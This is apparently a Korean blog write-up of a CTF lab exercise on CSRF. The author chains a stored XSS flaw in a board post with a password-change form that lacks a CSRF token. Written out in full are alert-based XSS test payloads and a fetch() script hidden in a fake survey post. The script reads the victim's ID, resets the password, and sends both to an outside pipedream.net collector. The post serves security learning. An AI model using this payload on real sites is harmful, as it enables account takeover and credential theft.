Normaltic CTF - CSRF 2번 시나리오 모의해킹

심야·2023년 7월 14일
0

취약점 설명

CSRF 공격이란 피해자 세션을 사용해 피해자 의도와 상관없이 서버로 위조된 요청을 보내는 공격이다. 게시판, 메일함과 같이 로그인 해야만 사용 가능한 서비스에서 발생하는 취약점으로 모든 요청에서 발생한다. 하지만 비밀번호 변경, 이메일 주소 변경, 관리자 계정 등록, 계정 삭제, 글 작성, 수정 등과 같은 민감한 요청에서 더욱 취약하다.

개념 증명

CSRF 공격을 이용해 피해자 의도와 상관없이 비밀번호 변경을 시도하겠다. 그리고 해당 취약점에 대한 개념 증명을 위해 Burpsuite Proxy 모드의 Intercept, HTTP History 기능으로 CSRF 공격을 진행하였다.

취약점 확인

우선 취약점 발생 여부를 확인하기 위해 마이페이지에서 test 패스워드를 입력 후 수정을 진행한다.

Burpsuite HTTP History

기존 패스워드를 입력하는 추가 인증과 CSRF 토큰이 없는 것으로 보아 CSRF 취약점이 발생할 것으로 추측된다.

Burpsuite Repeater

해당 요청은 POST 메소드를 사용한다. 만약 POST 메소드로만 요청이 수행된다면 CSRF 공격을 위해 XSS 공격을 혼합해야 한다. 따라서 GET 메소드를 사용해도 요청이 정상적으로 수행되는지 확인하겠다. HTTP History 탭에서 우클릭 해 Send to Repeater 탭을 클릭한다. 또는 단축키로 Ctrl + R 버튼을 클릭한다.

Get Method Request

Repeater 탭에서 우클릭 해 Change request method를 클릭한다.

Get 메소드 변경 후 요청한 결과 에러가 발생했다는 응답을 반환한다. 따라서 XSS 공격을 연계해 CSRF 공격을 시도하겠다.

XSS 취약점 확인

마이페이지가 POST 메소드로 요청을 받으므로 XSS 취약점을 확인해야 한다. 게시판의 글쓰기 기능에서 제목과 본문에 xss <script>alert(1)</script> , xss <script>alert(2)</script> 페이로드를 삽입한다.

확인 결과, XSS 취약점이 존재한다. 게시판 페이지에서 XSS 취약점과 CSRF 취약점을 연계해 공격을 시도하겠다.

소스 코드 파악

CSRF 공격을 시도하기 앞서 마이페이지 소스 코드를 파악하겠다.

<form method="post" action="mypage_update.php">
  <div class="hori">
    <i class="fas fa-lock fa-2x"></i>
    <input name="pw" type="password" placeholder="변경할 비밀번호"/>
  </div>
  <div class="hori">
    <i class="far fa-user fa-2x"></i>
    <input name="id" type="text" placeholder="sandworm"/>
  </div>
  <div class="hori">
    <i class="fas fa-birthday-cake fa-2x"></i>
    <input name="info" type="text" placeholder="Nothing Here..."/>
  </div>
  <div class="hori">
    <input type="submit" value="Update" id="signup-btnl"/>
  </div>
</form>

공격 페이로드 작성

자바스크립트의 fetch() 를 사용해 Stealth CSRF 공격을 시도하겠다. fetch API 는 HTTP 파이프라인을 구성하는 요청과 응답 등의 요소를 JavaScript에서 접근하고 조작할 수 있는 인터페이스를 제공한다.

<script>
fetch('http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', {method: 'POST',body: new URLSearchParams({'pw': 'attack'})})
</script>

결과

글을 읽었을 뿐인데 피해자 의도와 상관없이 패스워드 변경을 요청한다.

시나리오 모의 해킹

공격자 관점에서 CSRF 취약점으로 발생 가능한 시나리오는 아래와 같다. 본 글에서는 3번 시나리오까지 수행한다.

  1. 커뮤니티에서 설문조사 링크를 포함한 글을 작성해 설문조사를 요청한다.
  2. 해당 글은 피해자 아이디 정보를 공격자 서버에 전송하고 공격자가 의도한 패스워드로 변경하는 악성 스크립트가 삽입되어있다.
  3. 게시물을 읽은 불특정 회원은 의도와 상관없이 공격자가 설정한 비밀번호로 변경된다.
  4. 공격자는 계정을 탈취해 공격자 계좌에 돈을 송금하거나 피해자를 사칭해 추가 범죄를 저지를 수 있다.

공격 페이로드

마이페이지에서 피해자 아이디를 탈취한 뒤, 공격자가 원하는 비밀번호로 변경한다. 비밀번호가 정상적으로 변경되었으면 공격자 서버로 피해자 아이디와 변경된 비밀번호를 전송한다.

<script>
async function csrfExploit() {
    try {
        let url = "http://ctf.segfaulthub.com:7777/csrf_2/mypage.php";
        let response = await fetch(url);
        let html = await response.text();
        let parser = new DOMParser();
        let dom = parser.parseFromString(html, "text/html");
        let userId = dom.forms[0].id.placeholder; // 피해자 ID 획득
        
        let new_pw = "attack";
        let mypageUrl = "http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php";
        let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net";
        
				// 비밀번호 변경
        await fetch(mypageUrl, { method: "POST", body: new URLSearchParams({ pw: new_pw }) });
        // 공격자 서버로 탈취한 아이디와 비밀번호 전송
				await fetch(attackerUrl, { method: "POST", body: new URLSearchParams({ userId, new_pw }) });
    } catch (error) {
				// 익스플로잇 도중 에러 발생 시 공격자 서버로 에러 메시지 전송
        let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net?error=" + error;
        await fetch(attackerUrl);
    }
}

csrfExploit();
</script>

글 작성

설문조사 링크를 포함한 글과 악성 스크립트를 삽입하였다.

익스플로잇

해당 글을 읽으면 아래 스크립트가 실행되어 XSS 공격과 CSRF 공격이 발생한다.

<div class = "posting_title">스타트업 설문 조사 부탁드려요!!</div>
<div class = "posting_contents">안녕하세요 새로 런칭한 소셜 커머스 관련해서 설문조사 부탁드려요 ㅎㅎ
<br>
<br>
<a href="https://naver.me/5Zv6miuq">설문 링크</a>

<script>
async function csrfExploit() {
    try {
        let url = "http://ctf.segfaulthub.com:7777/csrf_2/mypage.php";
        let response = await fetch(url);
        let html = await response.text();
        let parser = new DOMParser();
        let dom = parser.parseFromString(html, "text/html");
        let userId = dom.forms[0].id.placeholder; // 피해자 ID 획득
        
        let new_pw = "attack";
        let mypageUrl = "http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php";
        let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net";
        
				// 비밀번호 변경
        await fetch(mypageUrl, { method: "POST", body: new URLSearchParams({ pw: new_pw }) });
        // 공격자 서버로 탈취한 아이디와 비밀번호 전송
				await fetch(attackerUrl, { method: "POST", body: new URLSearchParams({ userId, new_pw }) });
    } catch (error) {
				// 익스플로잇 도중 에러 발생 시 공격자 서버로 에러 메시지 전송
        let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net?error=" + error;
        await fetch(attackerUrl);
    }
}

csrfExploit();
</script></div>

아이디 획득

<form method = "post" action = "mypage_update.php">
<div class = "hori">
<i class="far fa-user fa-2x"></i>
<input name = "id" type = "text" placeholder="sandworm"/>
</div>
<div class = "hori">
<i class="fas fa-birthday-cake fa-2x"></i>
<input name = "info" type = "text" placeholder="Nothing Here..."/>
</div>
<div class = "hori">
<i class="fas fa-lock fa-2x"></i>
<input name = "pw" type = "password" placeholder="변경할 비밀번호"/>
</div>
<div class = "hori"><input type = "submit" value = "Update" id = "signup-btnl"/></div>
</form>

위의 mypage.php 코드에서 보듯이 placeholder 는 ID 값을 갖고 있다. 따라서 익스플로잇 하면 mypage.php의 html 코드를 가져와 id 파라미터를 가진 input 태그의 placeholder 값을 가져온다.

let url = "http://ctf.segfaulthub.com:7777/csrf_2/mypage.php";
        let response = await fetch(url);
        let html = await response.text();
        let parser = new DOMParser();
        let dom = parser.parseFromString(html, "text/html");
        let userId = dom.forms[0].id.placeholder;

비밀번호 변경

피해자 아이디를 획득하면 공격자가 설정한 패스워드인 attack 으로 변경한다.

 let new_pw = "attack";
let mypageUrl = "http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php";
await fetch(mypageUrl, { method: "POST", body: new URLSearchParams({ pw: new_pw }) });

비밀번호를 성공적으로 변경하면 수정 알림이 발생하지만 이는 Burpsuite로 확인 가능할 뿐, 피해자는 비밀번호가 변경되었는지 알 수 없다.

계정 정보 전송

아이디도 획득하고 비밀번호를 변경했으면 해당 정보들을 아래 그림과 같이 공격자 서버에 전송한다.

전송 결과

공격자 서버에 아래 그림과 같이 피해자 아이디와 비밀번호가 전달되었다. 공격자는 탈취한 계정으로 사칭, 악성 글 업로드 등 추가 범죄가 가능하다.

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글